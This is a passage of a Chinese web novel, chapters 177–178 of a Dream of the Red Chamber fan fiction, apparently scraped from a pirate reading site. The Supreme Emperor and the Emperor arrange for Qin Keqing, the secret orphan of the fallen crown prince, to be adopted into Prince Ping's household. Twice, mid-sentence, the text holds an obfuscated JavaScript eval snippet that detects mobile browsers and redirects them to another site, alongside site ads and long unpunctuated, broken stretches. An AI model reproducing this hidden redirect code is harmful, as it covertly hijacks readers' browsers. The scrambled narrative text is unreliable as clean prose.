“我没敢回府,好在我原本在家里是次子,要不是长兄早逝,我都已经分出去了!我之前为了清静读书,在外头置了一个宅子,我就带着孩子跑那里去了,那孩子也是命大,一番折腾之下,竟是还活着!我觉得是先太子在天之灵保佑,原本想着,回头就说是我在外头相好养的,我妻子就生了一个不成器的儿子,到时候抱个女儿回去,就记在妻子名下!但是那段时间风声鹤唳,我怕有人想起来东宫还有有孕的姬妾,再查到我们这些东宫旧人身上,便也不敢这般,只好先将人藏在庄子上养着。养到半岁多一点,就听说城里养生堂着火了,我一琢磨,这也是个好机会,便趁乱,将这孩子将养生堂里另一个孩子给换了。秦业原本在营缮司做个所丞,他寒门出身,差点被人当做替罪羊给坑了,他之前曾经帮我家修 过宅子,求到我那里,我便顺手拉了他一把,他升了所副,也是我从中出力,正巧他多年无子。我就跟他说,我之前有个同僚,给我送了一个女人,因着人来路有些不好,没法带回去,如今在外头生了个女儿,府里头不肯认,我也舍不得她顶着外室女的身份养在外头,所以,求他帮忙收养!” “我给了他一笔钱,又许诺每年都会给他一笔费用,之后孩子的嫁娶之事,也有我做主,他就答应下来了!” 听到贾敬说到这里,太上皇硬是运了几口气。放在以前,一个东宫都没听说过名字的姬妾生下个庶出的孙女,在太上皇心里,压根算不得什么,东宫那时候孩子都五六个了,嫡出的都有两个,不差孩子。但如今,不是义忠亲王已经死了,其他孙子孙女都跟着一并去了嘛,太上皇顿时就觉得这孩子宝贝起来。 想着贾敬居然只想过将孩子以私生女的身份记到自己妻子名下,之后也只给安排了个七品小官做养父,太上皇就忍不住生气,不免阴阳怪气道:“这么说,朕是不是还得替义忠谢你一谢?” 贾敬也懒得跟太上皇多说什么,只是梗着脖子说道:“小道无能,也只能做到这个份上了!” 圣上见贾敬在太上皇这里依旧是一肚子火气模样,心里忍不住暗笑,不过面上还是叹道:“别的也便罢了,当日父皇追封皇兄,卿家怎么不上折子陈述此事呢?”贾敬无爵无职,他也只好含含糊糊以卿家称呼。 贾敬轻哼了一声,说道:“依小道的意思,这孩子长在民间,有父母疼爱,未必就比养在宫里差了!何况,那只是追封,又不是平 反!” 太上皇火冒三丈,竟是直接抄起手边的茶盏就往贾敬身上丢去,硬是将茶水泼了贾敬半身,茶盏落在地上,直接碎了一地,贾敬也没躲,依旧梗着脖子看着太上皇,理直气壮地说道:“小道说得有哪里不对吗?” 谎言不会伤人,真相才是快刀!当时便是追封了义忠亲王,但是依旧是罪人的身份,罪人的孩子,又能得到什么样的待遇呢?难不成,就做个普通的宗女,随便养着,之后,再随便嫁了? 太上皇怒气冲天,只气得浑身哆嗦:“什么平 反,他便是说破天去,义忠也是逼宫谋逆!” 贾敬这会儿俨然一副将生死置之度外的模样,说道:“那上皇又想如何?连着先太子最后的血脉也要株连吗?” 圣上只得一边安抚太上皇,一边呵斥道:“卿家何必如此,气坏了父皇的身子,与你又有什么好处!” 太上皇气道:“他就是想要气死朕!他就是一直在为义忠不平!”说到这里,他也忍不住流下泪来,口中说道:“朕当年不过是想要磨砺他一番,早知会有那样的事情,朕当年又何苦如此呢?” 圣上侧目看到贾敬神情竟是有些快意,哪怕心里头同样有这般感受,看你养儿子跟养蛊一样,如今后悔了吧!直接使了个眼色,叫夏守忠先将贾敬带下去,又开始安抚太上皇:“父皇不必如此,皇兄当年也是一时意气,都是阴差阳错,命数使然!” 太上皇刚才被贾敬弄得破了防,这会儿也有些后悔,直接摆了摆手,说道:“罢了罢了,你先回去吧,此事回头再说,叫朕清静一下!” 作者有话要说 第 177 章 一眨眼,女儿就不... 第177章一眨眼,女儿就不. 等着太上皇冷静下来,却也知道,当年的事情对于皇家来说,就是一桩丑闻,如今再冒出个义忠亲王遗孤出来,之前的事情又要被翻出来,难免要伤了太上皇的圣明。 太上皇晚年之后就愈发爱惜羽毛,如今更是如此。他这会儿若是将义忠亲王的遗孤抬举起来,那么,当初牵扯其中的许多臣子又该如何?圣上大概巴不得如此,如今朝堂上老臣众多,对他多有掣肘,若是将以前那些东宫旧人提溜出来,这些人可不会再站到太上皇那边去,那他就可以从容布置,顺利度过这段过渡期。 骨肉亲情这种东西,在皇家就是个奢侈品,所以,这事肯定是不能放在明面上来的,但是,人毕竟是义忠亲王最后的骨血,又是个女孩子,不论是太上皇还是圣上,都很愿意多加优容。 去看过的人都说,那是个非常美貌的小女孩,对于有的人来说,美貌是一种武器,而对于有些人来说,美貌就是一种灾难。 就像是王子胜的夫人为了保护王熙凤,宁可叫王熙凤去宁国府做续弦一样,王家如今无钱无权,根本没有保护王熙凤美貌的实力。而秦可卿也是一样,她年纪虽小,已经看得出稀世的美貌,这也是为什么秦家那边几乎不肯叫她出现在人前的缘故,但凡是被人发现,若是秦业的上官想要索要,那秦业又该如何?普通人还能找贾敬,换个位高权重的呢? 更那个的是,秦业只以为秦可卿是贾敬的私生女,要是哪个宗室王爷看上了,那可就变成皇家的笑话了。 所以,太上皇与圣上一番商议,决定人还是得认回来,按照太上皇的意思,最好是圣上认回来,然后封个公主,也算是对得起义忠亲王了! 但是圣上也不乐意啊,他当初自污的时候,也没真的乱来,最多就是在自个王府里头睡了几个戏子和丫头,在外头可没放浪形骸过,如今说他在外头有个私生女,这不是有损他的名声嘛!回头外头还不知道要编造出多少香艳的故事来,他可不想成为故事里的主角。 “安王无子,要不,由安王太妃抚养?”圣上试探道。 “不行!”太上皇可是个记仇的,当初安王太妃违了他的心意,他就觉得这个儿媳妇活该孤独终老, 别说是义忠亲王的遗孤便是宗室里随便一个孤女他也不肯给安王太妃。 圣上见太上皇这般只得说道:“那父皇觉得侄女该叫谁抚养?” 太上皇恼恨地看了圣上一眼 横竖原本大家都知道平王是个有些不太懂事的一帮那几年成婚的兄弟里头就他娶了侯门嫡女结果竟是半点不放在心上前脚正妃才进门后脚就请封了个侧妃府里头庶务也叫侧妃管着大家私底下都说他被女色蒙了心窍。但问题是李氏要说颜色也没太多这就搞得跟油蒙了心一般。 如今再说这位在外头还养着一个估摸着大家也不会觉得有什么意外。 其实宗室内部知道没什么主要是防止外头的百姓胡思乱想。 最妙的是平王已经死了死人还不会说话当年平王勉强也算是东宫一党虽说就是个名义但是由他们府里抚养东宫遗孤却也是正好。平王太妃又是极宽厚的人对下头的庶出子女都很是厚待府里头也有钱定然能妥妥当当地将人养大。等到了年纪再给赐一个郡主的封号风风光光嫁出去也就都能交代得过去了! 这边父子两个一商议发现这的确是个好主意当下圣上便说道:“那儿子回头就让皇后召弟妹进宫!既然不能叫弟妹心里留下什么芥蒂那此事还是要跟弟妹说开的!” 太上皇意兴阑珊地点了点头要是养在宫里他还能经常召见一下养在外头也只能是逢年过节进宫一趟了他想了想又说道:“她既然是顶着私生女的名头未免被人轻看便先给封个县主等到成婚再加封吧!” 圣上点了点头:“还是父皇考虑得周到回头等办好了让弟妹带着进来给父皇磕头!” …… 顾晓进宫的时候人都是懵的。她原本想过什么时候有机会打听一下秦可卿的事情结果这竟是直接落到自己家了。 见顾晓神情有些异样皇后还以为她是没反应过来赶紧解释道:“那孩子是当年东宫的姬妾所生后来被宁国府贾敬救走了这么多年一直养在外头要不是之前那事如今也是正经的金枝玉叶偏生不好直接认回来只能先顶着个私生女的名 头! 顾晓回过神来,忙说道:“可怜见的,只是,这孩子的身世,要告诉她吗? 皇后说道:“还是罢了,当年那些恩恩怨怨,何苦要她一个女孩子家家的背负,她能太太平平富贵一辈子,也算是对当年东宫有了交代了! 顾晓听了,便明白了,然后直截了当地说道:“既是如此,那回头我便将孩子接回来就是! 皇后点了点头,说道:“正该如此,不必太多兴师动众,免得叫外头人多想,回头叫宗人府那边多添一笔就行!好在孩子还小,多留个几年,外头也就没什么议论了,到时候再请皇爷赐个婚,一切也就圆满了! 顾晓心中大定,也就是说,自己只需要养几年,其他事情都不用自己操心,这还有什么好说的,一个兼具钗黛之美的小美人,便是看着,也能多吃两口饭啊! 顾晓笑道:“原本想着,佳婉这两年就要出家,佳姝也留不了几年,男孩子嘛,一个个也是娶了媳妇忘了娘的,正想着膝下寂寞呢,娘娘就给我安排了个小闺女,这是娘娘疼我呢! 皇后愈发安慰起来,毕竟,这种事情,哪怕不是真的,寻常人家也不会乐意接受一个顶着亡夫私生女名头的孩子进来,这很容易引起别人的嘲笑,结果看顾晓的样子,竟是颇为欣然,这其实还是一片为君上分忧的忠心啊! 两人想法不在一个频道上,却都很满意,顾晓带着一大堆赏赐回去,正好佳婉佳姝过来请安,顾晓便留了她们用饭。 “过几日,你们便要多一个妹妹了!吃过饭,顾晓便说道。 佳婉一愣:“妹妹?这父王都死了多少年了,哪来的妹妹,难道是外面的表姐妹? 顾晓也没说出真相的意思,说道:“你们父王年轻那会儿在外头有一个红颜知己,后来怀孕了,原本想着接进府里来的,只是后来他不在了,我们也不知道,那孩子生母已经没了,养在亲戚家里,她身上有你们父王的信物,被人看见了,就报到了宗人府,今儿皇后娘娘召我进宫,说的就是这事! 佳婉还好,佳姝却有些抗拒:“这么多年不说,现在才查出来…… 顾晓温言说道:“既是宗人府已经查出来了,那应该就是八九不离十。好歹身上也有皇家血脉,总不能放在外头,倒是不像! 见佳姝还想要说什么就被佳婉拦住了她们两个也都是姨娘生的对于嫡母来说其实跟外头生的也没多少区别外头生的起码没有在嫡母面前碍眼她们两个的生母却都是在嫡母眼皮子底下把孩子生了的。 因此佳婉直接露出了一个笑容:“既是如此回头我跟二妹妹准备一份见面礼!” 顾晓点了点头笑道:“你是大姐姐了回头妹妹接回来多照应着些那孩子比末儿还小一个月呢末儿应该会比较高兴总算是可以做哥哥了!” 既然这事要保密顾晓连徒嘉钰和末儿都没有说免得回头说漏了嘴然后就叫人再给收拾出一个院子来回头叫秦可卿住进去。不对以后不能叫秦可卿了顾晓琢磨着回头也该给她重新取个名字像是什么可卿兼美之类的就当是小名了最好还是跟着佳婉、佳姝走如此就像是正经的一家人。 等着晚上的时候家里几个男孩子也知道了这事反应最大的是徒嘉泽毕竟 李氏听说也是在屋里很是哭了一阵子之后也便放开了毕竟人都已经死了这么多年再提这些又有什么用呢! 顾晓在府里头定的基调也很简单孩子是无辜的当初原本先平王已经打算将人接进来无非是出了事以至于无人知晓而已。外头那位也是可怜怀了孩子等着男人回来结果一直没有消息最后生了孩子自己也血崩而死。她家里也不知道孩子的出身不肯抚养这个孩子直接将人丢到了养生堂后来还是他家一个无子的亲戚知道了将人收养了回来。 也是贾敬当年为了掩人耳目将秦可卿的生日给改成了两个月后如今宗人府那边也就按照这个生日来记录看起来便似乎都逻辑闭环了。 既然顾晓没有表现出任何抗拒反而很是欢迎这个女孩子的归来那徒嘉钰和末儿便也没生出什么想法来。说白了他们的前程已定一个异母妹妹对他们来说也算不上什么喜欢的话多问几句不喜欢的话就当是隔房的堂妹就行。 比起平王府的淡定秦家那边就跟天崩地裂差不多了。 秦业多年无子之前 收养了一儿一女儿子死得早还没来得及培养出什么感情 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节)一直就是养着秦可卿秦可卿从小玉雪可爱人也懂事偏又极为灵秀。 秦业其实是个不太得志的小官员举人出身便是有贾敬暗中提携如今也就是个七品年纪也不小了再有几年估计都得老老实实回家养老。 实际上他近些年在衙门就没多少事了有心思在家教导女儿一些文墨秦可卿是一听就懂一学就会。要不然秦业怎么就相信这位是贾敬的私生女呢毕竟贾敬也是众所周知的天才人物二十来岁就中了进士不比神童差到哪儿去。 去年老妻又生下了一个儿子秦业更相信这个儿子是这个养女带来的因此即便有了儿子对女儿依旧偏宠。贾敬给的抚养费也很多秦业也是个老实人除了将钱用在秦可卿身上其他的钱也是留着准备回头给秦可卿采买嫁妆。 结果一眨眼女儿就不是他的了! 宗人府那边带来了圣上皇后的赏赐连着平王府也送了许多银钱丝帛之类的财货过去算是感谢他们老夫老妻抚养了秦可卿一场。大家口口声声秦可卿是宗室贵女只是当年遭逢剧变其母没能按期进府在外头生下了秦可卿以至于此。 秦业想到之前有上头的人过来询问秦可卿的事情便也信了这个说法只是心中依旧极为不舍。 秦可卿更是与养母抱头痛哭心里无比栖惶。 她在秦家是大小姐去了王府就是外室生的私生女她多年读书也看过一入侯门深似海之类的话侯门尚且如此那王府呢? 秦可卿也没有栖惶几天平王府的人就来了。 为了表现对秦可卿的看重过来接人的就是徒嘉钰。 徒嘉钰听顾晓说了一通秦可卿的可怜之处对这个未曾谋面的妹妹也生出一点怜惜之心因此便想着要给妹妹一个体面自己带着人上了门。 秦业和秦业的老妻一听来的是个王爷就慌了手脚连忙过来拜见。 徒嘉钰忙叫免礼口中说道:“二位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464948|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚养我妹妹一场就是我们王府的恩人我们感激还来不及呢!妹妹便是回了府抚育之恩也是不能忘的以后秦家就与咱们王府当做亲戚走动便是二位若是想妹妹了直接上门探望便是!便是逢年 过节也叫妹妹回来看看!” 徒嘉钰这话说得体贴秦业和秦妻都是松了口气秦业尴尬地说道:“那个老夫不下臣就是担了个名罢了其实是……” 徒嘉钰也听顾晓说了这事因此笑道:“虽说贾家那位老大人误会了一场以至于阴差阳错却也不是坏事!” 秦业心里头立马就转悠起了几个不太礼貌的念头难不成其实先平王跟敬大老爷都是那位的恩客?当然这话一想就是不恭敬何况把自个如宝似玉养大的女儿的生母当做是那等做半掩门生意的也有些不像!他狠狠掐灭了这个念头赔笑道:“王爷可卿还在后院不如请她出来?” 徒嘉钰忙说道:“既然是我来接妹妹自然是我去见她便是!” 这边说话间可卿已经带着两个丫头出来了见到徒嘉钰不免有些踌躇不知道该怎么称呼。 徒嘉钰见她一张小脸满是紧张便是一笑上前一步说道:“头一次见到妹妹却是我唐突了!” 可卿强自镇定下来蹲身行了一礼口中说道:“可卿见过兄长!” 徒嘉钰也回了一礼安抚道:“妹妹叫我大哥便是家里母妃和几个弟弟妹妹都惦记着妹妹呢!妹妹乳名叫做可卿?果然好名字!”他想到之前顾晓说的想要按照佳婉佳姝的名字给这个妹妹重新取名的话这会儿却也没有开口总得等到妹妹回去之后再提这事。 可卿见徒嘉钰态度温和亲近也是松了口气只是略垂着眼睛不知道该说什么好原本的那些灵秀聪慧这会儿不知道跑哪儿去了。 见可卿其实还有些紧张徒嘉钰想了想便笑道:“家里知道妹妹的事情之后都念着妹妹呢。妹妹如今也该知道咱们家里除我之外妹妹还有两个哥哥两个姐姐最小的那个也就比妹妹大两三个月到时候正好可以一起玩!妹妹回去了就知道家里兄弟姐妹性子也都是好的并无什么刁钻古怪的我们还都给妹妹备了见面礼 说着便将带过来的嬷嬷丫头们也叫了出来她们有内务府出来的有府里头选 的都已经经过培训这会儿都过来行礼口中不叫三姑娘反倒是称呼安宁县主。 可卿不免一呆徒嘉钰连忙说道:“家里头两个姑娘都已经有了封号母妃想着也不能落下妹妹便也去宫里给妹妹求了封号回来。” 可卿一听 一边秦业和秦妻也是松了口气他们之前都担心王府只是碍于面子将人接回去然后就随便在王府找个地方让人自生自灭如今看王府这般郑重其事连之前才袭了爵的平王也亲自来接王府太妃还专门给可卿求了封号可见并非虚言客套。一个县主别的不说一年也有一百八十两银子的俸禄一百八十斛的禄米秦家便是有贾敬暗中补贴一年也就是两三百两银子的进账但这里头大半都是要用在可卿身上的秦业还得尽可能存下来一些毕竟他们夫妇年纪都大了幼子还那么小以后可卿嫁了之后顾不得娘家家里孩子就得靠吃老本过日子了。可卿一年下来算上衣裳首饰一百两也花不了又能吃得了多少可以说就这笔钱可卿就能一辈子过得好好的。 徒嘉钰这辈子没缺过钱自然也没想到这个最多就是想着妹妹本身身份尴尬有个爵位和封号在外头交际不至于被人轻看了毕竟宗室里头便是几家王府有些庶女能捞个乡君的爵位就算不错。便是嫡女也不是人人都能封郡主的。 等着可卿要收拾东西的时候领头的嬷嬷就说话了她姓胡圆脸蛋看起来很是可亲询问了一下可卿准备带些什么走可卿想到养父母家里的情况犹豫一番对着徒嘉钰问道:“大哥哥我在这边住了这么多年想把这些首饰还有衣裳都留下来给这边做个念想。”秦可卿的东西放在秦家都是好东西衣裳首饰都是金银细软那都是能当钱用的。 一边秦妻正想要劝徒嘉钰也没多想便说道:“那留下来便是妹妹的东西有印记的不要流落到外头就行了!府里头之前先打听了妹妹的身量针线房那边之前就赶制了几身衣裳出来!其他的等妹妹回去之后再裁!至于首饰也已经准备了一部分母妃心疼妹妹这么多年在外头还叫下头多打造一些将前些年的补上呢!” 可卿都有些不安了忙说道 :“何必这般破费!” 徒嘉钰笑道:“这才哪到哪呢算什么破费妹妹生得这般好看多戴几样首饰怎么了?” 人都是视觉生物可卿生得漂亮人也乖巧叫人看了就生出好感来徒嘉钰自然愿意宽容一二。 饶是可卿说了想要将东西都留下来秦母尽可能还是将几件相对贵重一些的首饰拿了个匣子给可卿装了起来硬塞进了可卿怀里含泪道:“好姑娘这些便是粗陋了些那也是我们的一份心其他这些 眼看着可卿一下子变成了王府县主秦母连声女儿都不敢叫了倒是可卿一时忘情搂着秦母哭道:“娘啊!” 胡嬷嬷正想要说话就被徒嘉钰拦了下来人家秦家养了可卿这么多年这养育之恩自然要胜过生身之恩要是可卿半点不念徒嘉钰反而要瞧不起她了! 之后连才刚学会说话的秦钟都被抱了出来与可卿道别秦钟生下来可卿就帮着料理对这个弟弟也跟半个妈一样这会儿不免又是伤心起来。弄得徒嘉钰都有些尴尬自己不是来接人反倒是来叫人家骨肉生离的一般。 作者有话要说 第 178 章 “一个养在外头的... 第178章“一个养在外头的 “一个养在外头的妹妹,倒是这般兴师动众,还要大哥去接!”徒嘉泽嘴里嘟囔个不停。 一边李氏却是已经恢复过来了,呵斥道:“好好坐着,就你不老实!你妹妹流落在外,不知道吃了多少苦头,你多等一会儿怎么了?” 李氏如今也明白了,当初徒宏远跟自己海誓山盟,也没耽误他为了王府爵位传承,先赶着跟王妃生个嫡长子出来,如果说睡王妃还是为了传承,那其他几个侍妾呢?佳婉佳姝又是怎么生出来的? 所以啊,横竖如今人都已经死了,自己再大的气性又能如何,还不如好好过日子呢! 瞧着自家亲妈都偃旗息鼓,徒嘉泽一肚子的气就像是漏了气的气球一样,飞快地消失得干干净净,只好咕哝了一句:“好吧,好吧,妹妹多年流落在外头可怜!” 顾晓坐在那里,也没说什么,不多久,便有丫头进来传话:“娘娘,王爷带着三姑娘回来了!” 卑不动尊,能叫徒嘉钰去接人,就已经是对她的看重,因此,只是一群丫头婆子在外头迎接,簇拥着可卿一路走了进来。 可卿穿了一身宁绸杏花粉绣玉兰花的袄子,下面穿着大红撒花洋绉裙,束着一条石青色四合如意绦,头上只戴着几样包金的小钗,耳朵上也就是一对银托玛瑙坠子。 大家都是见识过的人,这回都觉得这个妹妹果然是在外头吃了苦了,身上衣裳首饰都是一般,放在寒门小户是说得过去了,放在王府,说难听点,府里几个体面的丫头有的时候戴着的首饰都比可卿身上的强一些。 可卿之前坐着小轿进了二门,隔着轿帘看到外头的模样,就开始紧张起来。 秦家不过是小两进的院子,为了防止外头人看到她,她的生活轨迹就局限在后头小小的四方院子里,多走两步就到前院去了,结果到了王府这边,光是从侧门进来,到内院这边,就费了不少时间。好在进了二门之后,距离正院就不远了。 可卿进门还没来得及打量四周,就先蹲身给顾晓行礼,顾晓笑着说道:“都是一家人,不必这般多礼!来,先见见你李姨娘还有哥哥姐姐们!” 李氏是侧妃,是有资格受可卿拜见的,但是其他几 个太姨娘却是不行。徒嘉钰在一边介绍,可卿又一一见了礼。 佳婉拉着可卿的手,笑道:“母妃,新来了这么标致的妹妹,以后母妃别只疼妹妹,不疼我们了!” 顾晓笑道:“你个刁钻丫头,之前十来年对你的好,都忘了不成?再说,我就偏要多疼你妹妹一些了!” 可卿不知道该说什么好,只是轻声又叫了一声:“大姐姐,二姐姐!” 佳婉也就是嘴上一说,见可卿有些无助的模样,忙说道:“对不住妹妹,我就是顽笑一下,之前听说妹妹要来,我特特给妹妹做了个络子,妹妹看看好不好?” 佳婉说着,就拿出一根攒心梅花的络子来,上头还有个精美的象牙玲珑球,佳姝也跟着拿了一个白玉香包出来,赠予可卿。 可卿有些惭愧,同样拿了两个自个绣的香包出来相赠,嘴里说道:“妹妹手艺粗陋,两位姐姐不要嫌弃!” 佳婉接过一看,笑道:“妹妹这手艺若是粗陋,我们的针线都没法见人了!” 佳姝也是笑道:“这个香包好,如今天气眼看着就热了,正用得上呢!前儿个我自个做了几粒香丸,回头也给妹妹赏玩一下!” 小说全网首发无弹窗免费阅读qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 姐妹几个似乎一下子就亲热起来,一边几个男孩子也各自将准备好的见面礼拿了出来。 徒嘉钰准备的是一顶珍珠莲花花冠,末儿准备的是点翠五凤衔珠对簪,徒嘉泽也准备了一枝累丝宝石团花簪子,可卿同样回赠了几样针线,心里头却是莫名松了口气。人家肯给这样贵重的见面礼,可见对自己应该没什么恶意。 等着平辈之间的赠礼结束,顾晓也将自己准备好的一套累丝嵌宝金头面拿了出来,笑道:“这还是之前做的一套头面,先拿去戴着玩吧,等着回头叫外头把册子拿进来,你跟你两个姐姐一起自个选式样!” 可卿又行了一礼,这才将装着头面的匣子接过来,然后就觉得胳膊一沉,原本跟着她的两个小丫头宝珠和瑞珠早就被王府的富贵晃花了眼,一时间竟是没反应过来,倒是胡嬷嬷赶紧上前帮着接过。 然后就是李氏,李氏可没那么大手笔,只是拿了一对碧玉镯子出来,不过这镯子看着也是温润油亮,并非什么寻常物件,说不定还是之前徒宏远给的,勉强也算是大出血了一回。 李氏 太多并不热络,可卿也并不觉得意外,死去多年的丈夫莫名其妙在外头还有个私生女,虽说这位不是正妻,但她之前听说了这事,也打听过平王府的事情,那时候,这位是极得宠的,便是正妃也退了一射之地。如今能这般平和,可卿都觉得涵养不错。 几个太姨娘却是不好大喇喇地以长辈的身份给见面礼,只是嘴上都赞了几句,倒也真心实意。毕竟,可卿在外头长大,便是穿戴寻常了些,但人品气度都是不凡,并无半点小家子气,叫人难免觉得毕竟是王府血脉,不同俗流。 等着一番叙话之后,顾晓才说道:“三姑娘之前乳名叫做可卿?这名字既然已经习惯了,在家里叫叫可以,但既然回来了,也是该有个大名的,回头也好记到玉牒上去!” 可卿低头说道:“还请母妃赐名!” 顾晓笑道:“你两个姐姐都是从了一个佳字,你也跟着吧,不如叫做佳娴如何?” 可卿在家也是读过书的,听得之后,便知道是哪个字,又应了下来,屈膝谢了一回,顾晓笑道:“不必这般,你以后在家里住着,就知道了,咱们府里没那许多礼数,又不是有外人在,一家子在一起,亲亲热热地最好,不用太拘泥了!” 她这般一说,下头都是一乐,也跟着劝起可卿来。 佳婉佳姝瞧着可卿脾气性格都好,不免也生出了喜欢之意,这样灵秀的姑娘,便不是亲妹妹,当做闺蜜一般处着也好,因此,拉着可卿在旁边椅子上坐下,又问起可卿原本在闺中做些什么,又要请可卿一起调香画画,这天气开始热了,不好放风筝,但是花园里头的花儿也开得正盛,到时候还能一起去摘花调弄胭脂。 可卿一一答应下来,心中也是一定。 中午就在正院摆了席,几个太姨娘不好跟着一起坐,因此,顾晓额外叫厨房准备了一桌席面,让她们去隔壁自个吃去。 见顾晓这般吩咐,大家都不觉得意外,可卿愈发觉得外头说得不假,这位母妃的确是宽厚。秦业家里两口子算是极厚道的了,当初为了求子,秦业也是纳了一房妾的,这个妾在家晚上伺候老爷,白天伺候大妇,卷帘打扇,铺床叠被。她之前在家做得一手好汤水,但凡秦业夫妇要吃了,或者是家里来了外客,就得她跟着下厨,平常吃饭也是别人坐着她站着,秦家不是 那等有钱人家,一顿饭七大碗八盘子的,等着那个妾吃的时候,就只剩下残羹冷炙。秦妻老蚌含珠生了儿子之后,她愈发地位尴尬起来。她年纪也大了,秦家就将她当做婆子使唤,秦钟的尿布都是她洗的。 可卿那会儿瞧着都有些害怕,她原本在家里被娇养着,虽说不出门,但家里雇的婆子也常嚼舌说外头的事情,她自从知道自己是外头领养的后,难免疑心过,家里是不是当自己“奇货可居”,看着自己生得好,回头送去给某个上官做妾,想到自己可能会落到秦业那个妾的份上,可卿有的时候做梦都不寒而栗。 如今她才算是放下心来,不管怎么样,顶着个县主的名头,便是要送出去和亲,也落不到做妾的份上。何况本朝开国以来,还没开过和亲的例呢! 席面上的菜很是丰盛,但也没用什么稀罕食材,也没做成一看就吃不起的样子,不会叫可卿觉得没法下箸,又有丫头看着她的脸色帮忙布菜,一顿饭吃得还算是舒心。 吃过饭,漱了口,又闲坐了一会儿,顾晓便吩咐胡嬷嬷,说道:“带三姑娘去她院子里看看,她一早过来,这会儿也累了,先略打个盹儿,若是觉得家具摆设有什么不习惯的地方,便打发人拿了条子去找管事娘子!” 胡嬷嬷赶紧答应了下来,一边佳婉佳姝也是叽叽喳喳说道:“等睡个午觉,我们便去你院子里,陪你一起收拾屋子!我们之前院子也是自己布置的,以后这里就是自个家里,且不用拘束!” 可卿的院子就在佳婉和佳姝旁边,因此这会儿回去也是顺路,佳婉佳姝各自指点了一下自己的住处,然后先陪着可卿去了她的院子。 佳婉笑道:“我们搬出来也没两年呢,拖拖拉拉,到今天院子名字都没起,妹妹来了就好了,咱们三个臭皮匠顶个诸葛亮,到时候一起商议个名字出来,刻了匾额挂起来,那才叫有意思呢!” 可卿谦虚道:“我在家也没读过什么书,只怕取的名字不好!” “母妃还专门给请了先生回来教咱们读书呢,不过,我们也就是不求甚解,随便读读就算了!回头妹妹跟我们一起去念书啊,先生人很好的!”佳婉悄悄说了她们姐妹两个有的时候受邀出去参加什么诗会,就找先生给她们代笔。 可卿听了也觉得有趣,不免掩口一笑,心里 愈发放松起来,她原本心里颇有些自卑,毕竟,她一直养在外头,这么大才接回来,难免处处不如人。如今一看,其实也还好,当下就觉得好多了。 几个姑娘的院子格局都没什么区别,原本当初兴建王府的时候,就预留出了府里下一辈的住所,男孩子或许还要将世子和别的孩子区分开来,女孩子总不能在家的时候就先按照未来可能得品级给分派住处,谁受宠就多赏点东西呗,大不了多在生母那边住几天,何必要在住处这种事情上硬要区分什么嫡庶尊卑。 当然住进去之后,只要不出格,你就可以按照自己的心意将院子屋子仔细收拾一番。 像是佳婉佳姝小时候喜欢玩滑梯,玩秋千,如今滑梯是玩不了了,便在院子里搭了秋千,一个做成藤椅的模样,一个做成月牙的模样,再种上藤萝或是大树,将秋千放在树荫下,便是夏天,坐在上头玩也是极快活的事情。 佳婉喜欢看花,佳姝喜欢吃果子,佳婉院子里就种着好些花草,佳姝院子里却种了葡萄和石榴,都是专门买的早就长成了的树藤,因此,搬进来第二年就开始结果,今年看样子,挂果还挺多。 两人跟可卿分享了一下收拾院子的心得,听到自鸣钟敲了一下,一看时间,还有两刻钟都要未时了,忙说道:“妹妹你先略眯一会儿,回头我们再来跟你说话! 送走了两个姐姐,那边几个丫头已经将床都铺好了,可卿看着拔步床上悬着雨过天青色绣着莲叶芙蕖的帐子,香炉里头燃着清雅的百合香,她深吸了一口气,宝珠和瑞珠这会儿才反应过来,帮着可卿解了衣裳,去掉几根钗环,这才伺候可卿睡下。 可卿昨儿晚上辗转反侧了半天,快天亮才含糊睡去,这会儿高床软枕,不多久竟是熟睡了过去。 一觉睡了一个时辰,胡嬷嬷见宝珠和瑞珠实在是不当用,可卿又还没有将身边的丫头定下等级,确定差事,只得先进了屋,将帐子挂在帐钩上,然后轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464949|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声唤道:“姑娘,该起了,回头走了困,晚上难免睡不好! 可卿迷迷糊糊醒来,起来的时候,人还有些迷瞪。下头丫头们便给她更衣,穿的是王府这边之前准备好的衣裳,跟佳婉佳姝一般,除了颜色花样有些不同,款式却是相似,等着洗过了脸,新上了脂粉,又开了首饰匣子,重新给可卿装扮了 一番。 可卿这会儿已经清醒过来看着清晰的玻璃镜里头的人影一时间又有些茫然起来只觉一切都像是在梦里一般。 见可卿神情茫然胡嬷嬷便提醒道:“姑娘之前奴婢只带了几个丫头过去不如将院子里的人都叫过来给姑娘认一认!” 可卿也不是那种打肿脸充胖子的人直接对着胡嬷嬷问道:“嬷嬷也知道我之前养在外头许多事情也不知道不知我这边丫头们是个什么章程?” 胡嬷嬷笑道:“府里头几位姑娘身边一等丫头是四个二等也是四个下头还有三等的丫头和粗使的婆子也有七八个!四个大丫头是给姑娘负责衣裳首饰梳妆盥洗的二等的丫头负责屋子里头的事情出去传话什么的也是她们的事情其他就是粗使的一般不进屋就在外头洒扫做些粗活!” 可卿犹豫一下说道:“宝珠瑞珠在家里就是跟着我的不知道该如何分派?” 胡嬷嬷说道:“那两个丫头略小了些只怕做不得一等却是姑娘用惯了的不如先在姑娘身边做个二等。几个一等丫头如今年纪也不小了再有个几年也该放出去了到时候若是那两个丫头得用就将她们补上来!” 